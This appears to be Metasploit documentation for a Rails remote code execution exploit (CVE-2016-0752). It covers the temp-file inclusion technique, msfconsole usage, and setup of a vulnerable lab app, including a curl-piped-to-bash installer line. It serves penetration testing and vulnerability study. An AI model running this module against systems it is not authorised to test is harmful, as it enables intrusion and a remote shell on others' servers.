List of CVEs: CVE-2016-0752
This module exploits a remote code execution vulnerability in the explicit render method when leveraging user parameters. This module has been tested across multiple versions of Ruby on Rails. The technique used by this module requires the specified endpoint to be using dynamic render paths, such as the following example: def show render params[:id] end Also, the vulnerable target will need a POST endpoint for the TempFile upload, this can literally be any endpoint. This module doesnt use the log inclusion method of exploitation due to it not being universal enough. Instead, a new code injection technique was found and used whereby an attacker can upload temporary image files against any POST endpoint and use them for the inclusion attack. Finally, you only get one shot at this if you are testing with the builtin rails server, use caution.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/http/rails_dynamic_render_code_exec
msf exploit(rails_dynamic_render_code_exec) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Introduction
Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks.
http://rubyonrails.org/
This module exploits the rendering vulnerability via a temporary file upload to pop a shell (CVE-2016-0752).
Setup
Download and setup the sample vuln application:
- [ ]
sudo apt-get install -y curl git - [ ]
curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.3.1 - [ ]
source ~/.rvm/scripts/rvm - [ ]
sudo apt-get install rubygems ruby-dev nodejs zlib1g-dev -y - [ ]
gem install rails -v 4.0.8 - [ ]
git clone https://github.com/forced-request/rails-rce-cve-2016-0752 pwn - [ ]
cd pwn - [ ]
bundle install - [ ] Edit the config/routes.rb file and add
post "users/:id", to: 'user#show'
Basically, you just need a POST endpoint for the temporary file upload trick. Now you can start the rails server and test the module.
